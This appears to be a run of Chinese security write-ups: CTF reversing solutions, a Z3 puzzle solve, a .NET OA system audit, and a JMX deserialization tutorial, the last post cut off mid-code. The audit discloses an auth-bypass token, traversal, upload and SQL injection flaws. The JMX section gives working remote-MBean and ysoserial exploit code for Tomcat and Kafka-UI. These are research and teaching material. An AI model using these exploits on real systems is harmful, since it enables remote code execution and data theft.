后门函数技术在二进制对抗中的应用
本次题目跟第七届HWS线下的re2有类似的地方,均有后门函数。 二进制后门可以理解为:我们只需要修改某个字节或某个函数,就可以将加密的过程变成解密的过程,大大节省逆向成本。 本题先对内置的dll进行解密,然后调用其加密函数对我们的txt进行加密,如果我们将加密的函数nop为解密函数,就可以直接解密,类比与RC4动态解密技术。 1、初次分析 0地址异常反调试 本题的一大亮点就是有访问0地址的异常反调试,小伙伴们在做的时候有没有发现调试异常艰难呢 故意访问0地址 然后走作者自定义的处理函数,如果我们在IDA动调的时候不经过处理函数,程序就会卡在哪里不能继续运行。 做法很简单:将访问0地址的代码和异常处理函数完全给nop掉 (说白了:就是将所有跟异常有关的汇编都给nop掉就完事) 处理函数也是完整nop 返回处也nop,跟开头相对应 main函数 分析main函数,发现反编译爆红 很正常,查看汇编代码,发现了异常反调试和异常花指令干扰分析 做法很简单:直接nop即可 具体做法参考:上面一小节,0地址异常反调试 nop 成功生成函数 TLS回调函数 尝试运行,发现直接退出,发现了TLS反调试函数 nop即可 生成函数 将exit函数nop掉即可,不用管反调试的事情了 2、内置DLL资源解密 使用工具打开file_encrypt 发现内置 pe程序,猜测key为0x33,解密 这是程序使用0x33解密 发现了很多加密函数和解密函数(Crypt开头),因此本题程序使用本dll进行加密和解密操作 在后面的分析中,也发现了函数加载了我们的dll 3、关键函数分析 sub_401320 使用IDA动调发现了很多bug,莫名其妙断下,改用x64dbg sub_402000 路径和盘符有关,比如我在C盘 C:......\document\1.txt 找到1.txt sub_4017E0 加载dll sub_4013E0 4、解密 既然使用了encrypto,那么我们改为decrypto就可以啦 I added the missing CryptDecrypt call to the binary's import table and patched the executable to decrypt the files. The decryption call takes one parameter less than the encryption one, so I NOP'ed one push to the stack as well:
某个OA系统的代码审计
2023年HVV中爆出来的洞了,但是有一些漏洞点修复了,刚好地市级的攻防演练中遇到了一个,想着把可能出现问题的点全部审计一下,顺便熟悉一下.net代码审计。ps:感兴趣的师傅们可以自行根据poc搜索源码。 0x1 反编译 好吧,当我没说,下载dnspy反编译即可,但是首先要找到web逻辑代码才能开始审计,因为这套oa是使用了mvc开发模式,简单介绍一下mvc,其实就是model,controller,view,其中的view是视图也就是html等展示给用户看的东西,model是模型也就是控制数据库的代码。controller是控制器负责执行代码的逻辑,也就是我们需要审计的地方了。 然后找到controller就是web的主要逻辑了。 0x2 身份校验绕过 首先可以随便点入一个controller,发现filesController继承自TopVisionApi。 然后我们发现IsAuthorityCheck()这个函数用于判断权限。 首先看到第一行代码getByValue这个函数,其实Request.Properties["MS_HttpContext"]).Request[value]就是获取http请求中的某个参数,而value就是调用传过来的参数,在这里是token,那么这段代码就是获取http中的token参数。 然后if判断了token是不是空值然后再判断token参数的值是不是等于"zxh",如果登录则直接返回一个UserInfo对象。 然后回到filesController的身份判断,发现只判断了IsAuthorityCheck返回是否为null,所以只需要让token参数是zxh的时候,那么就可以绕过身份校验了。 0x3 任意文件下载 还是 filesController 这个控制器 DownloadRptFile方法。这时我们已经绕过了身份认证,所以只需要看之后代码即可。requestFileName就是我们传递的http参数, 然后跟进代码。并未发现任何过滤../的行为,直接传递给getBinaryFile函数 getBinaryFile函数如下。 结果证明: (读取文件内容会以base64返回) 0x4 信息泄露 发现GetCurrentUserList方法查询了所有用户信息。并且返回给前台。 <UserInfo>是c#中的泛型,这里是用来查询数据库的。可以看到遍历了dicUserList这个数组。这个数组就是初始化的用户信息数组了。 直接访问: 0x5 任意文件删除 发现DeleteFile2方法是一个删除文件方法。这里也没有发现过滤../以及过滤删除文件的后缀名。 虽然是有限制了文件路径,但是全然没有过滤../,而且filename参数也是完全可控的。所以这里其实是存在任意文件删除漏洞的。 ps: 这里就不放验证截图了,感兴趣的师傅们可以自行本地验证。 0x6 任意文件上传 UploadFile2方法中获取了各种参数,然后传入UploadFile2 跟进该方法。pathType就是限制文件上传到哪个文件夹的。 pathType详解: fs参数是我们传递的byte数组也就是文件的内容。 startPoint等于0就好这样才能创建一个新的文件,datasize则是数组的长度。 漏洞验证: 0x7 SQL注入 InventoryController的GetProductInv方法,直接从参数获取boxNoName未经过过滤直接通过string.Format拼接至sql语句中,导致了sql注入。 验证:直接sqlmap即可
JMX 反序列化漏洞
前言 前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,所以决定系统来学习一下这个漏洞点。 JMX 基础 JMX 前置知识 JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用。 可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。 JMX 的结构一共分为三层: 1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。 standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范,例如我们的 MBean 为 Hello,则接口必须为 HelloMBean。 dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。 JMX 基础代码实践 以下代码实现简单的 JMX demo,文件结构 ├── HelloWorld.java   ├── HelloWorldMBean.java   └── jmxDemo.java HelloWorldMBean.java package org.example; public interface HelloWorldMBean {    public void sayhello();    public int add(int x, int y);    public String getName(); } HelloWorld.java package org.example; public class HelloWorld implements HelloWorldMBean{    private String name = "Drunkbaby";    @Override    public void sayhello() {        System.out.println("hello world" + this.name);   }    @Override    public int add(int x, int y) {        return x + y;   }    @Override    public String getName() {        return this.name;   } } jmxDemo.java package org.example; import javax.management.MBeanServer; import javax.management.ObjectName; import javax.management.remote.JMXConnectorServer; import javax.management.remote.JMXConnectorServerFactory; import javax.management.remote.JMXServiceURL; import java.lang.management.ManagementFactory; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class jmxDemo {    public static void main(String[] args) throws Exception{        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();        ObjectName mbsName = new ObjectName("test:type=HelloWorld");        HelloWorld mbean = new HelloWorld();        mBeanServer.registerMBean(mbean, mbsName);        // 创建一个 RMI Registry        Registry registry = LocateRegistry.createRegistry(1099);        // 构造 JMXServiceURL,绑定创建的 RMI        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");        // 构造JMXConnectorServer,关联 mbserver        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);        jmxConnectorServer.start();        System.out.println("JMXConnectorServer is ready");        System.out.println("press any key to exit.");        System.in.read();   } } 其中 Probe Level:创建了 HelloWorldMBean 实例 mbean Agent Level:创建了 MBeanServer 实例 mbs Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs JMX 安全问题 JMX 的安全问题主要发生在以下三处 1、jmx2、mbean3、rmi 其中通过利用 MLet 是最常用的攻击手法,算是 jmx 特性 + mbean 利用,接下来我们详细来看看 Mlet 的漏洞利用及原理。 Mlet Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。 攻击过程: 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件 JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取 攻击者最终调用来自恶意 MBean 的方法 下面我们来编写一个漏洞实例。 Evil MBean 文件结构 ├── Evil.java └── EvilMBean.java EvilMBean.java package com.drunkbaby.mlet;     public interface EvilMBean {      public String runCommand(String cmd);   } Evil.java package com.drunkbaby.mlet;     import java.io.BufferedReader;   import java.io.InputStreamReader;     public class Evil implements EvilMBean   {      public String runCommand(String cmd)     {          try {              Runtime rt = Runtime.getRuntime();              Process proc = rt.exec(cmd);              BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));              BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));              String stdout_err_data = "";              String s;              while ((s = stdInput.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              while ((s = stdError.readLine()) != null)             {                  stdout_err_data += s+"\n";             }              proc.waitFor();              return stdout_err_data;         }          catch (Exception e)         {              return e.toString();         }     }   } Mlet Server 将原本的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html <html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html> 整体结构如图 Attack Code ExploitJMXByRemoteMBean.java package com.drunkbaby.mlet;     import javax.management.MBeanServerConnection;   import javax.management.ObjectInstance;   import javax.management.ObjectName;   import javax.management.remote.JMXConnector;   import javax.management.remote.JMXConnectorFactory;   import javax.management.remote.JMXServiceURL;   import java.net.MalformedURLException;   import java.util.HashSet;   import java.util.Iterator;     public class ExploitJMXByRemoteMBean {        public static void main(String[] args) {          try {   //           connectAndOwn(args[0], args[1], args[2]);              connectAndOwn("localhost","1099","open -a Calculator");         } catch (Exception e) {              e.printStackTrace();         }     }        static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {          try {              // step1. 通过rmi创建 jmx连接              JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");              System.out.println("URL: " + u + ", connecting");              JMXConnector c = JMXConnectorFactory.connect(u);              System.out.println("Connected: " + c.getConnectionId());              MBeanServerConnection m = c.getMBeanServerConnection();                // step2. 加载特殊MBean:javax.management.loading.MLet              ObjectInstance evil_bean = null;              ObjectInstance evil = null;              try {                  evil = m.createMBean("javax.management.loading.MLet", null);             } catch (javax.management.InstanceAlreadyExistsException e) {                  evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));             }              // step3:通过MLet加载远程恶意MBean              System.out.println("Loaded "+evil.getClassName());              Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]                             { "http://localhost:4141/evil.html"},                      new String[] { String.class.getName() } );                HashSet res_set = ((HashSet)res);              Iterator itr = res_set.iterator();              Object nextObject = itr.next();              if (nextObject instanceof Exception)             {                  throw ((Exception)nextObject);             }              evil_bean = ((ObjectInstance)nextObject);                // step4: 执行恶意MBean              System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());              System.out.println("Calling runCommand with: "+command);              Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });              System.out.println("Result: "+result);         } catch (Exception e)         {              e.printStackTrace();         }     }   } 很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。 JMX 反序列化漏洞 在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题 JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735 漏洞描述 这其实是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。 影响版本 Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47 环境搭建 https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。 漏洞复现 漏洞复现的 EXP 已经有了 java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success" 漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer try {      RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);      cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());      cs.start();      registry.bind("jmxrmi", server);      log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));   } catch (AlreadyBoundException | IOException var15) {      log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);   } 很经典的手法,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发 同样这里其实也是用 RMI 协议来打的。 利用 Mlet 的方式动态加载 MBean 这个有点意思,上面在讲 Mlet 攻击的时候其实我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。 而 JMX 调用远程 MBean 方法有以下流程: 1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络请求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。 所以这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean package ysoserial.exploit; import javax.management.MBeanServerConnection; import javax.management.ObjectName; import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; import ysoserial.payloads.ObjectPayload.Utils; /* * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument. * */ public class JMXInvokeMBean { public static void main(String[] args) throws Exception { if ( args.length < 4 ) { System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>"); System.exit(-1); }   JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");         JMXConnector jmxConnector = JMXConnectorFactory.connect(url); MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection(); // create the payload Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()}); //close the connection jmxConnector.close();   } } 我看下来两种漏洞利用的最终思路是很类似的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。 当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞 https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/漏洞描述 Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意请求利用后台功能执行任意代码,控制服务器。官方已发布安全更新,修复该漏洞。 影响版本 Kafka-UI <= 0.7.1 环境搭建 Kafka-UI 的 docker version: '3.8' services: kafka-ui:   image: provectuslabs/kafka-ui:v0.7.1   container_name: kafka-ui   environment:     - DYNAMIC_CONFIG_ENABLED=true     - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005   ports:     - "8080:8080"     - "5005:5005" Kafka 的 UI,之前分析 Kafka 漏洞的时候就写过了 version: '2' services: zookeeper:   image: zookeeper   restart: always   ports:     - "2181:2181"   container_name: zookeeper kafka:   image: wurstmeister/kafka   restart: always   ports:     - "9092:9092"     - "9094:9094"   depends_on:     - zookeeper   environment:     KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1     KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181     KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094     KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094     KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL     KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT   container_name: kafka 漏洞复现 使用 ysoserial 直接打,起一个恶意的 JMX 服务。 git clone https://github.com/artsploit/ysoserial/ cd ysoserial && git checkout scala1 mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true" 开启了之后,使用 Kafka-UI 去连接该 JMX 第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true,再进行 CC 的反序列化。 服务器接收到恶意的请求 随后第二步直接使用 CC 链打。 java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt" 攻击成功 漏洞分析 通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo 最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法 后面其实就是 RMI 的部分了,当然这里还涉及到了 Scala1 链暂时不展开。 这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖,把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。
【总结】逻辑运算在Z3中运用+CTF习题
国际赛IrisCTF在前几天举办,遇到了一道有意思的题目,特来总结。 题目 附件如下:https://www.yuque.com/attachments/yuque/0/2024/tar/33529154/1704561294084-9b9bc6bd-6da0-4178-9c3d-5b1bd9a98c0f.tar 解题过程 关键main函数分析如下: int __fastcall main(int argc, const char **argv, const char  **envp) {  int v4; // [rsp+4h] [rbp-7Ch]  int v5; // [rsp+4h] [rbp-7Ch]  int v6; // [rsp+8h] [rbp-78h]  int v7; // [rsp+Ch] [rbp-74h]  char input[104]; // [rsp+10h] [rbp-70h] BYREF  unsigned __int64 v9; // [rsp+78h] [rbp-8h]  v9 = __readfsqword(0x28u);  puts("Welcome to the Johnson's family!");  puts("You have gotten to know each person decently well, so let's see  if you remember all of the facts.");  puts("(Remember that each of the members like different things from  each other.)");  v4 = 0;  while ( v4 <= 3 ) // 在提供的颜色中,选择4种 {  printf("Please choose %s's favorite color: ", (&names)[v4]);//  4个人  __isoc99_scanf("%99s", input);  if ( !strcmp(input, colors) ) {  v6 = 1; // red  goto LABEL_11; }  if ( !strcmp(input, s2) ) {  v6 = 2; // blue  goto LABEL_11; }  if ( !strcmp(input, off_4050) ) {  v6 = 3; // green  goto LABEL_11; }  if ( !strcmp(input, off_4058) ) {  v6 = 4; // yellow  LABEL_11:  if ( v6 == chosenColors[0] || v6 == dword_4094 || v6 ==  dword_4098 || v6 == dword_409C )// 选择4个颜色,然后顺序不能一样  puts("That option was already chosen!");  else  chosenColors[v4++] = v6; // 存储选择的颜色(已经转换成了数字) }  else {  puts("Invalid color!"); } }  v5 = 0;  while ( v5 <= 3 ) {  printf("Please choose %s's favorite food: ", (&names)[v5]);//  4个人最喜欢的食物  __isoc99_scanf("%99s", input);  if ( !strcmp(input, foods) ) {  v7 = 1; // pizza  goto LABEL_28; }  if ( !strcmp(input, off_4068) ) {  v7 = 2; // pasta  goto LABEL_28; }  if ( !strcmp(input, off_4070) ) {  v7 = 3; // steak  goto LABEL_28; }  if ( !strcmp(input, off_4078) ) {  v7 = 4; // chicken  LABEL_28:  if ( v7 == chosenFoods[0] || v7 == dword_40A4 || v7 == dword_40A8  || v7 == dword_40AC )  puts("That option was already chosen!");  else  chosenFoods[v5++] = v7; }  else {  puts("Invalid food!"); } }  check(); // 开始check,检测我们输入的颜色和食物是否正确  return 0; }  ----------------------------------------------------------------------- 将check提取出来,我们方便分析 其实到这里已经可以得到结果了,国外的题目确实很讲究趣味性,用颜色和食物作为导向,引导一步一步分析 笔者使用静态分析的方法,一步一步跟踪 C++ int check() {  bool v0; // dl  _BOOL4 v1; // eax  _BOOL4 v2; // edx  v0 = dword_40A8 != 2 && dword_40AC != 2;    v1 = v0 && dword_4094 != 1;  v2 = chosenColors[0] != 3 && dword_4094 != 3;  if ( !v2 || !v1 || chosenFoods[0] != 4 || dword_40AC == 3 ||  dword_4098 == 4 || dword_409C != 2 )  return puts("Incorrect.");  puts("Correct!");  return system("cat flag.txt"); // 执行cat flag的命令 }  ----------------------------------------------------------------------- 对应的输入值地址如下: 我们将颜色color数组用x系列表示,将食物用food数组y系列表示 化简如下: C++  v0 = y3 != 2 && y4 != 2;    v1 = v0 && x2 != 1;  v2 = x1 != 3 && x2 != 3;  if ( !v2 || !v1 || y1 != 4 || y4 == 3 || x3 == 4 || x4 != 2 ) {  //错误 }  else {  //成功 }  ----------------------------------------------------------------------- 思路1:简单粗暴的爆破,但不是学习的目的,因此并不采用 思路2:锻炼写脚本能力,使用z3解题可以锻炼写脚本的能力,因此采用 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作    # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 得到结果 Python  成功:  x1 = 4  x2 = 0  x3 = 5  x4 = 2  y1 = 4  y2 = None  y3 = 3  y4 = 0  ----------------------------------------------------------------------- 其实有经验的师傅发现了,这是有多解的,因为没有为约束变量添加范围约束 改进之后的代码如下: Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- 得到结果: -----------------------------------------------------------------------  Python  成功:  x1 = 1  x2 = 4  x3 = 1  x4 = 2  y1 = 4  y2 = 1  y3 = 3  y4 = 4  ----------------------------------------------------------------------- 发现x1和x3重复了,因此还要添加值不重复约束 Python  from z3 import *    # 创建变量  x1, x2, x3, x4 = Ints('x1 x2 x3 x4')  y1, y2, y3, y4 = Ints('y1 y2 y3 y4')    # 创建约束条件  v0 = And(y3 != 2, y4 != 2)  v1 = And(v0, x2 != 1)  v2 = And(x1 != 3, x2 != 3)  #值范围约束  range_constraint = And(x1 >= 1, x1 <= 4, x2 >= 1, x2 <= 4, x3 >= 1, x3 <= 4, x4  >= 1, x4 <= 4,  y1 >= 1, y1 <= 4, y2 >= 1, y2 <= 4, y3 >= 1, y3 <= 4, y4 >= 1, y4 <= 4)  #非重复值约束  distinct_x=Distinct(x1,x2,x3,x4)  distinct_y=Distinct(y1,y2,y3,y4)    # 创建条件语句  cond = Or(Not(v2), Not(v1), y1 != 4, y4 == 3, x3 == 4, x4 != 2)  cond1 = Not(cond)  #正常来说,cond的值要为false的,但是z3的add添加的条件必须为1才行,因此要进行取反操作  # 创建求解器  solver = Solver()    # 添加约束条件和条件语句到求解器  solver.add(cond1)#这里添加的条件必须为true,所以最后使用了 not 进行取反操作  solver.add(range_constraint)  solver.add(distinct_y)  solver.add(distinct_x)  # 求解  if solver.check() == sat:  # 如果有解,则获取解  model = solver.model()    # 打印解  print("成功:")  print("x1 =", model[x1])  print("x2 =", model[x2])  print("x3 =", model[x3])  print("x4 =", model[x4])  print("y1 =", model[y1])  print("y2 =", model[y2])  print("y3 =", model[y3])  print("y4 =", model[y4])  else:  print("无解")  --------------------------------------------------------------------------------------- 最终得到正确的结果 Python 成功: x1 = 1 x2 = 4 x3 = 3 x4 = 2 y1 = 4 y2 = 2 y3 = 3 y4 = 1 x1-x4= 1 4 3 2 y1-y4= 4 2 3 1 按照这样的顺序输入即可: 得到了flag irisctf{m0r3_th4n_0n3_l0g1c_puzzl3_h3r3} 总结 题目并不是很难,没有复杂的ollvm混淆也没有复杂的加密。但是却一步一步引导我们去学习和总结。z3解题的过程中,会有很多误解,然后经过自己的思考总结,发现了漏掉的东西,再进行补充,最终写出正确的脚本。 国外的题还是很值得学习的,不单单为了出题而出题。这就是逻辑运算在z3的运用以及如何增加约束,让z3求解出我们需要的key。
一道关于逆向的实战CTF题目分析
前言 本题自带call型花指令,考验选手对花指令的理解程度。加密属于基础的异或和左右移位加密。主要考察选手的基础能力,动态调试和写脚本的能力。在这篇文章,详细记录了我的分析过程,相信你会有很大收获。 1、查壳 PE64位,没壳程序 2、IDA分析去花指令 使用IDA打开时,发现一片红,很正常的CTF考点:花指令 sub_main 当务之急是如何去除花指令,继续向下分析,发现了一些端倪 花指令的形成是干扰编译器的分析,但又不会影响程序的正常运行。 那么显而易见,会将某个寄存器进行push(保存)然后对其进行复杂操作,最终pop(恢复)该寄存器的值,程序正常执行。 而在本程序中,可以发现该手法: push ebx ..... pop ebx 中间的过程均无需再看,直接NOP操作。 nop完记得保存修改。 接下来就可以分析main函数啦 而这两个函数恰好均为关键的函数。 sub_401040 此时,我们可以看到函数开头的位置存在多个push操作,不要急着nop。对照函数结束的部分,避免误杀友军。 可以看到pop和push是相互对应的,开头push,结束就要pop。 此时注意到:push、pop不是要nop的点,我们继续分析 熟悉混淆的朋友一定可以识别出这是一个call型混淆。 call一个地址,然后修改堆栈返回值,retn跳过混淆,相对之前的混淆需要对堆栈有一定的理解。 识别出来,进行nop即可 得到加密函数 int __cdecl sub_401040(char a1, int a2) {  return ((a2 ^ a1) << 8) - a2; } sub_401080 来分析另一个函数 相同的操作 得到加密算法 int __cdecl sub_401080(char a1, int a2) {    return a2 ^ (a1 << 8); } 3、分析加密流程 那么现在的任务是获得加密函数的顺序,这里采用动态调试的方法来获得: 得到顺序 left xor xor left xor left left xor left left xor xor xor left left left xor xor xor left xor xor left xor left left left left xor xor xor left 将left用1替代,xor用0替代,得到顺序: int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 }; ‍密文可以看到是: dword_402120 数组 unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08 }; 4、写出解密算法 #include <stdio.h> void left(unsigned int a1, unsigned int a2) {    // (a1>>8)^a2    printf("%c", ((a1 ^ a2)>>8 )); } void xors(unsigned int a1, unsigned int a2) {    //(((a1+a2)>>8)^a2)    printf("%c", (((a1 + a2) >> 8) ^ a2)); } int main() {    unsigned int dword_402120[32] = {    0x00004408, 0x000068D8, 0x00007AD8, 0x00004308, 0x00007BD8, 0x00004608, 0x00007B08, 0x000070D8,    0x00003308, 0x00007308, 0x000076D8, 0x00005CD8, 0x000076D8, 0x00006608, 0x00006908, 0x00006E08,    0x00004BD8, 0x000076D8, 0x00003FD8, 0x00006F08, 0x00005ED8, 0x000076D8, 0x00007408, 0x000046D8,    0x00005F08, 0x00006308, 0x00003408, 0x00007408, 0x000076D8, 0x000044D8, 0x00004CD8, 0x00007D08   };    int temp[32] = { 1,0,0,1,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,0,1 };    for (size_t i = 0; i < 32; 